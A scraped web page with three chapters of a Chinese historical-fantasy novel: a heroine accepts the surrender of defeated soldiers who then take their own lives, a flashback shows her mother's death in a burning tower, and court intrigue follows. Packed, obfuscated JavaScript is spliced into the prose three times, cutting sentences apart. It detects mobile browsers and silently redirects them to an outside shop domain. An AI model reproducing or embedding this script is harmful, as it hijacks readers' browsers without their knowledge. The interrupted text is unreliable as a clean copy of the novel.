“阿旭,看见了否?这,就是民心!”早在民众抬头盯向高台时,舜英便已拉着顾星阑和元旭后撤,登上断掉的龙兴楼,俯瞰整座城池。 “他们就像洒在风里的草籽,只要给点水土和阳光,只要有一条活路,什么欺辱、盘剥都能忍受。” “可若是有一天,活路全被堵死了,忍无可忍时,他们的滔天怒意,足以粉碎最坚不可摧的王座。” “域民不以封疆之界,固国不以山溪之险,威天下不以兵革之利。” “得道多助,失道寡助”,元旭望向高台,沉思了半晌,神色肃穆、重重点头:“臣以后治理藩地,定当铭记此情此景,终身不忘!” 81. 何事不同归 骊山四顾,阿房一炬,当时奢侈今何处?只见草萧疏,水萦纡。 至今遗恨迷烟树。列国周齐秦汉楚,赢,都变做了土;输,都变做了土。 ——张养浩《山坡羊·骊山怀古》 舜英站在龙兴楼上,面朝北边,望向滬宫遗址。 曾经的滬国王宫,凤阁龙楼连霄汉,玉树琼枝作烟萝。如今,只剩一片焦黑死地、满地劫灰,以及延绵不尽的断壁残垣。 劲风吹个不停,她身上的荼白长袍和披风鼓荡不休,她却巍然不动。身量并不比顾星阑、元旭高,却蕴着一股顶天立地的气势。 她就那样,一瞬不瞬盯着滬宫的废墟,许久之后,缓缓抬起剑,平举到眼前,凝视着剑身映照出的自己面容,声音轻柔而坚定。 “我褚舜英,终于见到了自己!” 定光剑被她握在手中,那句话脱口而出时,凝在她周身的日月星辰之光,骤然暴涨,灼人眼目。 立在她背后的顾星阑,悚然震惊,失声低呼:“这是——帝王之气!” 苻洵正骑马疾驰在前往宜邑的官道上,心底没来由地涌出一股不安。他勒住缰绳,仰头看向天中,明明是青天白日的正午,却有莫名的寒意笼罩了他。 同一时刻,阳华山顶观星台上,结跏跌坐、合目冥想的大祭司,突然睁开双眼,望向东南方向的天空。 蒙舍十万大山,骑乘赤豹的女子猛地一震,碧色眼瞳倏然睁大,目光越过重重山峦、层层密林,望向东方天空。 西津渡口,元晴带着紫菀和蓝衣老者,正款步登上客船。 似有所感地,她身躯一震、停住脚步,回首看向滬南的苍穹,轻声说:“祂来了!” 紫菀问:“谁?” 元晴神色肃穆:“应天命降世,克制昭明星之人。” 紫菀忙说:“那咱们回去,找找那个人?” 元晴垂眸思索片刻,唇角微微扬起:“不必,我已大致猜到那人是谁。” 紫菀追问:“谁?” 元晴并未正面回应,只仰头看向碧穹,喃喃自语:“原来如此……原来你早就降生于世,早就与他宿命缠绕,只是此刻方才觉醒……” “以无上之功德,化无尽之戾气,果然是你、也只有你……” . 皋州阊江,笠泽大营。 元旻坐在中帐里、书案旁,左手边是一叠奏章、右手边还是一叠奏章。身后的书架上卷帙浩繁,全是些官员书信、塘报、邸报。 自他离开昇阳,洛京大营便专门辟出三艘传令舠,为他传递折子。他走到哪儿,传令舠就跟到哪儿。 他被铺天盖地的折子淹没了。 九月底他就下诏让元晞班师回朝了,已非战时,不知怎么还有这么多折子。 窗外阳光融融、暖风熏熏,宜采风、宜跑马,更宜骑快马去萝州燮陵转一转。 眼瞅着卢照仪随周士承上了主舰,他思考再三,决定抛下御史台、任性一回,于是朗声吩咐:“天枢,牵马过来。” 天枢会意,忙不迭命人去马厩牵来三匹快马,沉声道:“请陛下允末将和天权伴驾。” 元旻心情好了些,揉了揉僵硬发酸的脖颈,起身走向帐外,却听外头小黄门一叠声招呼:“天玑大人这边请,容奴才向陛下通报一声。” 天玑? 他欣喜难抑,加快了步伐,正与匆匆往里走的小黄门撞了个正着,也顾不上连声求饶的小黄门,三步并作两步走到天玑面前,一把扶起正要屈膝下跪的她,急切地问。 “信呢?” 天玑被他一串行云流水的动作惊住,忙从袖中取出书信递给他:“王后殿下还让卑职带了口信,她已带领虎威降军从燮陵出发,约需十日便可抵达阊江。” “还得等上十天?”元旻怔了怔,难以置信地问,“整个萝州找不出几百匹马了?不够的话从阊江调过去。” 天玑低下头,有些为难地说:“六殿下和顾大人帮王后殿下找过,可她执意步行。” 元旻默了半晌,恍然大悟,摇头轻叹:“她啊她……总这样心软。” “你回去告诉她,虎威旧部功大于过,她担心的那些,都不会发生。” . “到宛陵了”,舜英抬头,看向巍峨的城楼,“你们今夜就宿在城中,明早随我一道,去笠泽大营。” 平复乱兵之后,作人证的、赶去帮忙的士卒皆已归家。从燮陵出发时,这支队伍仅剩三百多人。 郭洋偏过头,看向城门下站得笔直的少女,轻声问:“末将有个不情之请,还望褚大人成全。” “共事一场,末将觍为降将,也想请诸位共饮一醉。” 舜英看了看郭洋、以及他身后的三百多名武官,眼眶一热,勉强扯出个微笑,柔声道:“好。” “爽快!”郭洋放声大笑,看向身后,“儿郎们,今夜不惜财帛、好酒好菜管够!” 一生大笑能几回,斗酒相逢须醉倒。 舜英、开阳、天璇及虎威残军三百余人,包下了宛陵城内一间酒肆,痛饮酣歌。 郭洋高举酒樽,与舜英重重一碰,一饮而尽,聊发少年狂:“海内贤豪青云客,就中与君心莫逆。” 舜英以箸击盏,放声吟唱,不舍地劝说:“何日功成名遂了,还乡,醉笑陪公三万场。” 郭洋含笑摇头,再度举杯,领着虎威残部齐声高唱:“人生有酒须当醉,一滴何曾到九泉?” 舜英眼圈红了,低声继续劝说:“重过阊门万事非,同来何事不同归?” 见虎威残部依然无动于衷,她忽然站起身来,赌气似的捧起一坛烈酒、仰头灌下,声音已带上哽咽:“我也不登天子船,我也不上长安眠!” 天璇霎时吓得面无人色,推了推开阳:“咱们快去把她拉开,再喝下去,什么大逆不道的话都出来了。” 开阳叹了口气:“我已将他们全都支走,今晚无论说了什么,传不出去的。” “好歹共事一场,断头酒得喝个痛快!” 天璇惊得手一抖,酒液从金樽中泼洒一地:“王上不是已赦免他们死罪了?” 开阳举起满樽清酒,一口喝干,苦笑着摇头:“他们能不能活,不在王上,在他们自己。” 舜英醉得一塌糊涂,眼泪汪汪、口齿模糊地喃喃:“你们可不可以,不要死?” “这世间,不只有那个烂透的滬国,不只有燮陵的断壁残垣,还有昇阳的锦绣城池、洛京的四季花海,如果你们都不喜欢,还有两千里玄阴山和乌兰山、还有朔北的一马平川。” “活下来,咱们一起,让这世间变得更好……” 郭洋半醉半醒,眼圈微红,笑了笑:“其实我们都懂,这一路上,你支使我们干这干那,又是治疫、又是赈灾、又是平乱,都是为了帮我们吧?” “帮我们将功补过,你好替我们讨一封特赦。” 舜英醉眼朦胧,强撑着直起身来,嚎啕大哭:“可是,你们都不要!” 郭洋走到她面前屈膝半跪,抱拳、朗声道:“末将代虎威残部,谢过褚大人救命之恩。” “我们这些人,本就是前朝的游魂,东躲西藏、苟且偷生十九年……临了,也想堂堂正正活一回!” 舜英泪如雨下,哀求道:“往后,你们都不用藏了。” 郭洋笑意更盛,毅然决然转身,对着身后一干武官,高声叱令:“兄弟们,报数!” 虎威残军齐齐单膝跪下,对三人躬身抱拳,开始沉声报数。 开阳和天璇同时站了起来,对着他们躬身长揖。 最终的最终,舜英眼中看到的、耳边听到的,是郭洋回过身来,对她稽首大拜,神色肃穆,朗声高呼。 “虎威降军主将郭洋,携麾下军侯两百零四人,军司马一百零二人,校尉二十人,裨将五人,偏将二人,向钦差大人报到!” .< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981291|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 初闻征雁已无蝉,百尺楼高水接天。 舜英睁开双眼,发现自己在一座熟悉的高楼上,雕梁画栋、飞檐斗拱——焚毁之前的龙兴楼。 她又变成了玉佩,挂在云妃腰间。 云妃身后,珠围翠绕、夭桃秾李,井然有序跪坐着三十多名美貌女子。 许一舟对着她们苦苦哀求:“燮陵城已破,你们跟我回昇阳吧。” 云妃轻声道:“于翊国,我们是郑后主的女宠,于滬国,我们是祸国殃民的妖孽。” “天地虽大,已再无我们容身之地。” “藏污纳垢、蝇营狗苟的日子,我们过了近五年。临了,也想堂堂正正活一回!” 许一舟眼圈泛红,目光带着期冀和恳求,逐一扫过云妃身后的每个人。她们都坐得端直,偏过头对他微笑颔首,而后继续注视着前方,眼神坚决。 期冀逐渐被绝望吞没,许一舟“铿”地一声,双膝下跪,悲呼道:“求求你们,跟我回去……哪怕只回去一个,一个也好……” 众女无动于衷。 “许娈、贺浮白、赵禄儿、慕容庆、步姣、崔怜云……”许一舟喃喃念着一个个名字,全身颤抖,低下头去,大滴大滴泪珠不断滚落。 他忽然崩溃了,嚎啕大哭:“我活着,就是为了留到最后,给你们、给一个又一个袍泽送终么?” 云妃笑了,笑容如清风朗月,再无半分在滬宫的旖旎,柔声道:“一舟啊,我的女儿就拜托你了。” 许一舟抓住这线生机,膝行着冲到云妃身边,攥住她衣袖癫狂地摇晃:“求求你……活下去啊,你还有女儿,你不想看着她长大么!” 云妃静静听他宣泄,摘下双鱼玉佩递给他,柔声说:“只有我死了,她才能干干净净活下去。我把她藏在后边杂物间里,孟炜在那照看……拜托了。” 许一舟眼中的癫狂凉了下去,化作绝望,拿过玉佩,哑声道:“好……我带她回昇阳,阿云,给她起个名字吧。” 云妃嗓音带笑,低声吟唱:“有女同行,颜如舜英。将翱将翔,佩玉将将。她的名字叫——” “舜英!” “一舟,替我告诉阿英,她是因为爹娘相爱才诞生的,娘去陪她爹爹了……” “她要好好长大,将来若侥幸获得权势地位,尽力让这世间少些战火,少些如我们这般颠沛流离之人。” “还有,娘这一辈子很好,只是遗憾……看不到我的阿英长大了。” 许一舟含泪起身,踉踉跄跄走下楼梯,穿过后院、寻到杂物间。抱起襁褓之中的女婴,用布带将她牢牢捆在胸前。 龙兴楼上,云妃站起身,擦亮一只火折,缓缓伸到楼内重重帘幕之下。浅红的火苗像薄纱,舔舐上帷幕立即蹿高数丈,顺着经纬和纹路蔓延而上。 她微微笑了,回到原位,与众女一起面北而坐,齐声吟唱。 “有生必有死,早终非命促。昨暮同为人,今旦在鬼录。” 火焰如蛇,盘上木质的门窗、屋梁,恣肆疯涨,不过须臾,整座高楼已化成灼热的红海。 “魂气散何之,枯形寄空木。娇儿索父啼,良友抚我哭。” 站在滬王宫的元璟似有所感,跳上马背一路狂奔,直至龙兴楼下。膨胀的气浪由内向外,将大门堵得死紧,或推、或撞都纹丝不动。 他只能绝望地嚎哭,一遍遍喊着“阿云”,徒劳地拍打炙热的包铜大门,直拍得双掌皮翻肉烂。 “得失不复知,是非安能觉!千秋万岁后,谁知荣与辱?” 黑烟遮蔽了燮陵的半边天空,储瓦颓垣不断坠落,塔身的承重柱发出不堪重负的惨叫,轰然断裂。 这座高逾百尺、伫立燮陵三百载、见证四代王朝兴衰的高楼,在熊熊烈焰中,拦腰倾塌。 满城废墟里,许一舟翻身上马,一手牵缰绳,一手握长刀,跨过尸横遍野的长街、逆着如火如荼的翊军,向北飞驰而去。 82. 奈何花落去 “微臣平南招安使褚舜英,率虎威残部主将一人、偏将二人、裨将五人、校尉二十人、军司马一百零二人、军侯两百零四人,共计三百三十四名降将,向陛下复命!” 冬月初七的阊江,朔风呼啸、铅灰的云层覆压万里,沉沉盖在笠泽大营上方。 到处都是人。 所有战舰的甲板上、营帐空地上站满了披坚执锐的兵士,方阵整齐划一,放眼望不到边。 元旻穿玄衣纁裳、戴九旒冕冠,站在主舰上,身后侍立着伴驾的文武官员。 舜英全身缟素,领着身后的虎威残部,穿过刀戟丛林,面朝主舰双膝跪地,双手将定光剑托起,平平举过头顶。 天枢走下跳板,双手接过定光剑,回到甲板上双膝下跪,同时将长剑高举过顶,递到元旻手边。 元旻接过定光剑,收入剑匣,看向舜英的眼神又欣喜又担忧,张了张嘴,却只吐出两个字:“受降!” 舜英却没有抬头,俯首继续追问:“三百三十四名降将如何安置,请陛下示下!” 元旻唇角掠过一丝柔情,仰头望向众军,朗声道:“中书令传朕旨意,昔虎威旧部藏身九霄山之时,军纪严明、从未滋扰平民。如今皆已归降,北上一路治疫赈灾、功德无量,更在燮陵平乱时立下大功,功大于过。” “国朝素来求贤若渴,泰山不让土壤、河海不择细流,朕有意收编虎威旧部众将,待国尉班师回朝后,量才录用,与朕共决之。” 舜英仍未抬头,跪在地上动也不动,任寒风不断吹动她单薄的素衣。 元旻静静看了半晌,忍不住开口:“褚爱卿兵不血刃、招安五万虎威旧部,于国朝有大功,为何还不登舟,重归百官之列?” 天璇在身后推了一把,舜英如梦初醒,再拜之后站起身,慢慢走上跳板。 身后传来郭洋的声音,坚决如铁:“自国朝南征之后,虎威残部久居深林,不辨是非、愚昧无知,数次为奸人所趁,险些祸延平民,所犯罪行罄竹难书!” 舜英脚步顿住,僵硬着身躯愣在原地,却没有回头,只是慢慢合上了双眼。 “降将谢陛下宽宥,使虎威降军五万袍泽得以安然终老;也深谢已崩逝的昭王陛下,善待滬南百姓,使滬国虽亡、遗民仍安居乐业,不至颠沛流离、被杀或是受辱。” “君之胸襟如明月入怀,然我郭氏及虎威众将,深受郑氏恩泽,此生绝不事二主。” “虎威立军之初衷,便是守护滬南的疆土和百姓,今有幸得见圣君明主、得见滬南不必再受战火洗礼,已足慰藉。” 虎威残部之中,短刀出鞘的声音不绝于耳。平南军忙跑动起来,把他们团团围住,手按在刀柄上,却迟迟没有拔出。 “我虎威众将,也可功成身退!” 白刃纷纷似霜雪,血柱冲天而起、飞溅三尺,三百三十四条尸身仰头倒下,背靠黄土、面朝青天。 平南军众兵卒齐齐闭眼,不忍直视,主舰甲板上的文武官员之中、传出阵阵唏嘘。 元旻注视着台下殷殷热血,目眩良久,一字字道:“平南将军陆斐听令,虎威旧部皆为刚烈忠贞之士,必须以梓木厚棺收敛,再去龙首山前朝王陵择一块宝地,以军礼厚葬之!” 舜英的泪,终于落下。 紧跟着,她感觉双膝发软,眼前一黑、便什么都瞧不见了。 . 空气中弥散着幽幽甜香,清淡而绵长,是寒兰开了。 清爽的风从窗扉吹进来,拂过脸颊有些凉,地上搁着个火盆、热烘烘烧着炭,又温暖又透气,床褥和被子都软绵绵的,舒服得她懒得睁眼。 隔着门板,传来隐隐的说话声,是元旻:“本打算抄了国公府,修缮一下给你当侯府,既然你更喜欢万木春,扩建一下倒也罢。” 元旭恭声回复:“万木春就极好,不必扩建,我与母妃二人够住了。” 元旻声音带笑:“好歹是朕的亲弟弟,王族贵胄,宅子就只三进,也太寒碜了些。” 元旭思忖半晌道:“那便再扩一进吧,不能再多了。” 元旻无奈道:“你这倔脾气也不知是随了谁,也成,等过几年你娶妻生子不够住了,再接着扩建。” 想了想,又问旁人:“去问问廷尉府,这都十来天了,护国公府还没抄完么?” 哦,一时半会儿是抄不完。 那晚上她冲进护国公府时,被那峻宇彫墙、琼厨金穴震得半晌回不过神,元珙元旻父子都黜奢崇俭,大庆殿和勤政殿都不及护国公府一半奢靡。 只是宅子的主人已死,倒在去往东院的路上,心口中了一箭。 她拔出那支箭时,箭头已被磨平,却依稀可辨熟悉的图纹——九瓣芙蕖,正是她在九霄山看见的、苻洵麾下白袍卫的徽章。 思索片刻后,她折断箭杆,将箭头丢进了荷塘之中。 外面兄弟俩仍在闲聊,说到郭皓失踪,又说到聂少城和郭皓、及其从犯的家小正在押往燮陵的路上。 谋逆大罪,不抄没家产、夷三族不足以震慑宵小,也是无法可想的事。 护国公府已是如此,其余四州刺史官邸,不知又会抄出几多财宝。 漫无目的地想着,门外说话声低了,她听到元旻在问:“岚烟去瞧瞧,她都睡了五天,怎还不醒?” 舜英再也躺不住了,咳了两声想坐起身来。 昏昏沉沉的,手足绵软使不上劲,门“嘎吱”一声开了,清雅的沉水香已环住了她,元旻声音温柔:“怎么喝那么多酒?” 房里只有他们两人,舜英思绪散漫,回忆起晕倒前虎威旧部自戕的场景,眼眶一热流下泪来。 元旻轻轻顺了顺她的背,见她乌发未挽、流水般地垂落在自己膝上,越瞧越柔婉,忍不住拈起一绺发丝、绕在自己指间把玩,偷偷笑了。 前两年在灵昌质子府,他撞见她训练飞廉,又刚猛又犀利。如今,这个刀山火海都不皱眉的女子,却楚楚可怜地靠在自己怀里哭泣。 说不出的受用,他不禁伸手抚向她脸颊:“现在感觉如何?” 舜英噎了一下,窒息感再度铺天盖地卷土重来,千言万语突然哽在喉咙。她后背窜起一股突如其来的寒意,却没躲开、任他摩挲肌肤,半晌才鼓起勇气试探:“臣颇为感怀虎威军的忠勇,愿效法他们投身行伍、保家卫国。” 元旻动作一滞,脸上仍挂着笑,只是那笑容凝固了,眼神瞬间透出凛然森寒。 气氛一时僵住,外面有人传报,已从九霄山寻回郭皓尸首。 她心头涌起不祥预感,披衣起来对元旻敛衽一拜,神色郑重道:“我去看看这害了四州百姓的贼子。” “血淋淋有什么好看?”元旻顺手从桌上拿起一碟热糕给她,“饿了几天,先垫垫肚子,我们一起去。” 舜英胡乱塞了几口热糕,灌下一杯热茶冲了冲就往外走,元旻正要出门,有人通报顾星阑觐见。她忙敛衽再拜,佯作平静走向停尸房。 一路心跳如擂鼓,及至见到那具尸首,她更是血都凉了。 仵作忙不过来,还没开始验尸,所以无人发现尸骸的指缝挂着一缕不整齐的布丝,依稀可辨银白本色,材质像是皋州特产的云锦——被苻洵撕下一块布、为她敷额头的那件褙子。 她耳畔嗡嗡直响,趁无人在意迅速从尸骸手中抽走云锦,又绕着尸首走了几圈,未发现其它不妥、才慢悠悠出了停尸房。 出门撞见仵作和书吏过来,她回想了一下尸骸伤口的形状,笑了笑:“我在九霄山撞见郭皓与乱军勾结,一时义愤,待他落单后缴了他随从的械,下手有些重。” . 万木春后花园的空地上,搭了两条春凳,廷尉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981292|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府兵正押着顾星阑和元旭走近,摁在春凳上。 元旭见元旻过来,忙高声请求:“欺瞒之事全由臣弟主导,求陛下宽恕顾大人。” 顾星阑也不住乞求:“延迟信报全是微臣的主意,求陛下宽恕六殿下。” 为的是中元节,他们瞒报、延迟上报舜英走丢之事。 元旻见舜英进来,忙拉她在自己身边坐下:“朕一向赏罚分明,你二人欺君罔上,每人五十军棍。” 舜英瞠目结舌:“五十军棍?他们可都是文官!” 元旻抱臂不语,舜英低声恳求:“反正没出事,不若少一些,十军棍意思意思得了?” 话一出口就省过神来,那俩人挨打并非为她,而是因为欺君。 果然,元旻无动于衷,淡淡地说:“就五十军棍!” 棍棒锤击皮肉的声音此起彼伏,元旻面无表情注视片刻,又对侍立身侧的天权说:“念!” 天权惨不忍睹地瞅了瞅庭中,双目飘过一丝同情,就着断断续续的惨呼,展开两道诏书、朗声念诵。 诏书一:滬南道巡按使顾星阑,赈灾有方、治疫得力,平乱一案立下汗马功劳,任命为萝州刺史,统管一州军政、赋税、教化、刑狱等诸般庶务,赐千金、并敕造官邸,年俸三千石。 诏书二:已故昭王之第六子元旭,朕之弟也,醇谨夙称,恪勤益懋,孝行成于天性,子道无亏;清操矢于生平,躬行不怠;念枢机之缜密,睹仪度之从容。授以册宝,封为平南侯,并敕造宅邸,享食邑五千户。 一边皮开肉绽,一边加官进爵,果然赏罚分明。 舜英注视着元旭通红的小脸,暗叹也不知郑锦珠看到此景作何感想。 见许姿神采飞扬正地跨进院门,向元旻稽首大拜。不禁问出声:“郑娘娘呢,许久未见可还好?” 许姿酝酿半晌,艰涩地开口:“不太好。” . 谋逆大案,郑载云父母俱亡,三子及其妻族、七个孙子俱被枭首,按律还得要牵连妻族宛陵奚氏,可廷尉府看在郑锦珠面子上,没人敢去动她。 短短数日,家宅被抄,夫君、三子和七孙俱亡,奚夫人还是疯了。 官兵不敢收押她,又担心她疯疯癫癫四处生事,只得守好护国公府各街门,由她在府中四处乱逛。 郑锦珠走进国公府时,她正望着后花园一株刚初生花苞的梅树落泪,喃喃呓语:“妾发初覆额,折花门前剧。郎骑竹马来,绕床弄青梅……” 却不知念的是青梅竹马中的哪一个。 奚兰衣,出身宛陵中等世族,族中最发达的是其父、曾官至九卿之中的少府。为了给女儿博个好前程,趁她还年幼时,让她女扮男装混在宫学,与诸王子同进同出。 女儿身揭晓后,青梅竹马的情分已让两名王子对她暗生情愫,大她六岁的三王子郑载文、小她三岁的十王子郑载云。 三十三年前,年过弱冠的郑载文顶着层层压力,终于如愿娶到了年方十六的奚兰衣。 成婚之后,奚兰衣在宫学里为吸引达官显贵,扮演出的手不释卷、娴雅端静的外壳逐层剥脱,露出营营汲汲、纸醉金迷的内里。 “我年幼时,常听她责怪父亲窝囊,明明是嫡出,却混得连庶出的都不如”,郑锦珠注视着廷尉府兵来回忙碌,苦笑着回忆,“生了我之后好几年,她再未有孕,又张罗着从外面买几个妾,等人生了儿子、再留子去母。” “父亲生性宽厚淡泊,如此损阴德的法子自然不依。” “我从小就怕她,可父亲总对我说,她只是不甘久居人下,是自己无能。” “被她怨了不晓得多少年,父亲还是一如既往疼她,想尽法子逗她欢喜。” 他知道她愚蠢、轻佻、头脑空虚,知道她的庸俗、势利、狠毒,知道她所有的不好。可是,他仍然爱她。 83. 功成身难退 许姿悄声对舜英耳语:“她爹也有点毛病,知道不是什么好东西,还喜欢。” 舜英笑了笑:“谁知道呢?情不知所起、也不问因果。” 二十四年前,北征翊国的郑载文班师回朝之后,一病不起,次年春薨逝。 郑载云心心念念十一年,终于在那年秋天,如愿以偿迎娶了心头的朱砂痣。二人都钟爱豪奢、机巧钻营,于是一拍即合、如胶似漆。 “不对劲”,许姿突然出声,“照这样算,当时郑载云也二十四岁了,宗室怎会容他独身到如此大龄?” “自然不是独身”,郑锦珠眼神冰冷而讥诮,“郑载云十八岁便已娶妻,他的原配是在二十五年前的秋天没的。那是个武将的女儿,素来康健,不知怎么就病逝了。” 舜英霎时头皮发麻,不寒而栗。真的,只是巧合么? 许姿也觉察不对,试探道:“令尊的薨逝,该不会也是……” 郑锦珠笑容苦涩:“我那时候才九岁,郑载云对我也很好,金尊玉贵地养着,还不似爹爹那般管束我,有时候啊,真指望自己也像奚夫人那样,蠢些就好了。” “小孩子嘛,都爱躲猫猫,我那天刚好就藏进了郑载云的书房。” “制毒的药师,被他买通的、爹爹的侍从,在外头混得不得志,串通好了回来勒索他。” “我亲耳听闻,他先给了那两人每人一匣珠宝,等他们走了,却马上吩咐心腹去‘解决掉’、‘做干净些’。” 舜英轻声问:“这事,你可与奚夫人提过?” 郑锦珠摇摇头:“想过,没说出口。” 奚夫人那时已有了身孕,神医诊过脉、是个男婴,孕妇脾气暴躁又敏感多思,若是因她三言两语伤了胎气,谁都担待不起。 过了大半年,她有了同母异父的弟弟。 她踟躇许久,等奚夫人出了月子,想着探探口风、略提一提,却在后花园的梅树下,撞见生母与继父正抱在一起追忆往事。 奚兰衣说:“想当年,你为了替我折一枝最好的梅花,摔折了腿……” 郑载云眉眼带笑:“只要你喜欢,都值得。兰衣,你本就是我的,若不是三哥仗着嫡出的身份横刀夺爱,只怕咱们的孩儿比锦珠还大了……” 奚兰衣眼眶泛红:“十一年破镜重圆,你我都等了太久太久。” 郑载云声音无比缱绻:“我等你,多久都愿意。” 她突然失去信心,如此情深意重,就算母亲知道生父的死因,怕是也撼动不了继父分毫。 “破镜重圆,本是一场好事”,郑锦珠眼圈泛红,泪光点点,“可若是隔了条人命,再好的情份也该是抵不过的。” “但我不敢赌她同我想的一样。” 许姿快人快语:“一个是情窦初开,一个是日久相伴,若是我知晓了,大概会杀了郑载云然后自杀吧。阿英一定也是如此!” 舜英摇头苦笑:“怕也只有此路可走……谁会没事想着这等惨事?” 顿了顿,她抬高语调:“我若要嫁给一人,无论初衷为何,定会将旁人从心里清空。” 三人正你一言我一语地讨论着,屋外突然传来瓷器破碎的声音,舜英飞身掠出,只看见奚夫人踉跄远去的背影。 当夜,奚夫人自缢身亡,后花园那棵梅树下,她用金钗一笔一笔刻下四句诗作为遗书: 细腰宫里露桃新,脉脉无言几度春。至竟息亡缘底事?可怜金谷坠楼人。 . 这些天,舜英变得越发嗜酒。 笠泽受降之后,她仿佛一根崩了许久的弦,骤然松弛。先前压抑的恐惧、剧痛、悲伤、无奈、焦虑等种种情绪,一股脑追了上来。白天夜晚都缠着她,缠得她喘不过气、夜不成寐。 元旻得空就来看她,她不敢酩酊大罪君前失仪,却也时常喝得微醺,想忘记自己是谁,忘记所有的过往,更想忘记自己将要面对、无法可逃的未来。 这天元旻移驾刺史府,她溜出去散心,不知不觉就走到护国公府,铺天盖地的白幡丧布,元旭正指挥着仆从忙来忙去。 奚兰衣自缢身亡,舜英和许姿将其上报为畏罪自尽,元旻因此特赦奚氏全族,元旭请命以孙辈之礼厚葬奚夫人。待护国公全家曝尸示众期满,元旭又求得恩典亲自去刑场收敛尸首,让那些素未谋面的血亲入土为安。 舜英信步走到门口,郑锦珠倚靠着影壁,站在府内府外的交界处,默默不语、神色像落寞又像释然。见她走进来,扬唇一笑:“阿英,陪我出去走走吧。” 元旭骑马,郑锦珠拉着舜英同车,三人一路行到龙川湖岸堤。元旭雇了一艘舢板,扶郑锦珠上船后正欲离开,郑锦珠淡淡地说:“我要与阿英说些体己话。” 元旭一震,忙将艄公请下来,自己坐到船尾摇动双桨,将船摇到距岸至少十丈远才慢慢停下来,又从袖中取出棉团塞住耳朵、四处张望。 “不开窍的傻小子,倒是乖觉”,郑锦珠忍俊不禁、含笑嗔骂了一句,看向舜英目光冷凝,“阿英,你如今身世已分明,此后有何打算?” 前几天,元旻找一干知情人东拼西凑,凑出了她的身世——云妃与郑后主之女。元旻思索片刻,让那些人守口如瓶。 “一国之后,司南侯之女比妖妃之女好听得多”,当时他注视着她、温情脉脉地安慰,“阿英,我必会让你的出身无半分瑕疵。” 可她们是同一个人啊,舜英默默想着,眉间浮起怅惘更重,对郑锦珠扬唇挤出苦笑:“大道如青天,我独不得出。” 郑锦珠肃然问:“我就问一句,如此进退维谷,你还想继续活吗?” 舜英苦涩地摇摇头:“我想活下去,可我更想走自己想走的路。” 郑锦珠眼里显出悲悯,温声劝慰:“不如意事常九八,可活着才有机会,死了就什么都没了。” 对面飘来一股幽寒淡香,舜英仔细一嗅,是郑锦珠的熏衣香。她闭上眼、视野里陡然绽放一树红梅,深吸一口气,寒梅暗香、素馨甜香混着龙涎木香在记忆里扑鼻而来。 眼前又闪过一张张脸,师父、姨母、武煊、飞廉七星……以及最后的红衣乌发。 她睁开眼,舒展笑意:“我在这世间羁绊太多,再痛苦也要看看前头有什么,才会甘心。” 郑锦珠心放下大半,缓缓吐出一口气,正色道:“那咱们就说活着的打算。你从龙之功在前,又救过太后与陛下性命,如今更以一己之力招安五万虎威旧部,助陛下完全收服滬南——才十九岁便如此大功,朝廷有什么赐封够得上?” 舜英问:“除了那条路,还有别的方式么?” “若昭王尚在,倒还有一线希望”,郑锦珠惨然笑笑,“毕竟对于他,册封儿媳与册封女儿并无多大区别,甚至你成为公主对他更有用。” 舜英会心点头:“所以,若要活,除非舍弃亲族性命、离家去国,便真的只剩那条路。” “你自小就被灌了满脑子忠孝礼义信,绝不会离家去国,更别说身后还连着三族性命”,郑锦珠眼里恻隐更重,“我常与阿旭说,陛下是他的四哥,更是一国之君,君王之威不容侵犯。阿英,你年初当着全天下人、驳了他那么大个面子,如今可想好怎么收场?” 舜英心头一暖,满眼感激看着她,神色平静地说:“我会活下去,多谢娘娘提点……” 正要再说什么,一直盯着岸堤动静的元旭出声提醒:“岸上那几个像是隐蝠卫,陛下差人来寻阿姊了。” “怕是一路都有人跟着,咱们回去吧。”舜英无奈笑了笑,见元旭并无反应、才想起他耳朵塞着棉团。郑锦珠向他做了手势,元旭拔出耳中棉团丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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天枢是征和一朝的隐蝠卫成员,昭王还在时,诸王子都要与之避嫌,所以几乎从无来往。后来重建隐蝠卫调查根底以后,他也不过匆匆扫了一眼,只记得他是羽民九姓的“孟”之后人。 似有所感地,元旻眼神一凝,追问:“你师从谁,本名是什么?” 天枢双膝一软又跪了下去:“末将师从上任隐蝠卫大统领许一舟,至于本名……” “孟炜”,舜英站起身来,眼圈泛红,“我就是十九年前,你在龙兴楼杂物间里,守了几天几夜的那个女婴。” . 得了元旻应允,舜英和天枢一起去燮陵周围转了转。 她先去了丹河谷,站在朔风烈烈的古战场,闭上双眼,无声哀立了不知多久。 随后,去了已建成的龙首山墓地,跪在郭洋的碑前上了三炷香,揭开一壶酒,浇地半壶、自饮半壶。 然后,去了烧得只剩半截的龙兴楼,在当年崔怜云引燃火焰的位置躺下去,沉沉睡了一觉。 梦里,她一直在喃喃低语。 “值得吗?”、“值得”、“懂了吗?”、“懂了”…… 暮色乍起,舜英打了半车好酒,与天枢一起来到龙川湖,问了很多许一舟生前的事。 银月好似白玉盘,倒映水中漾出无数碎影。她和天枢蹲在湖边,将一壶又一壶好酒慢慢倒进月亮碎影里。 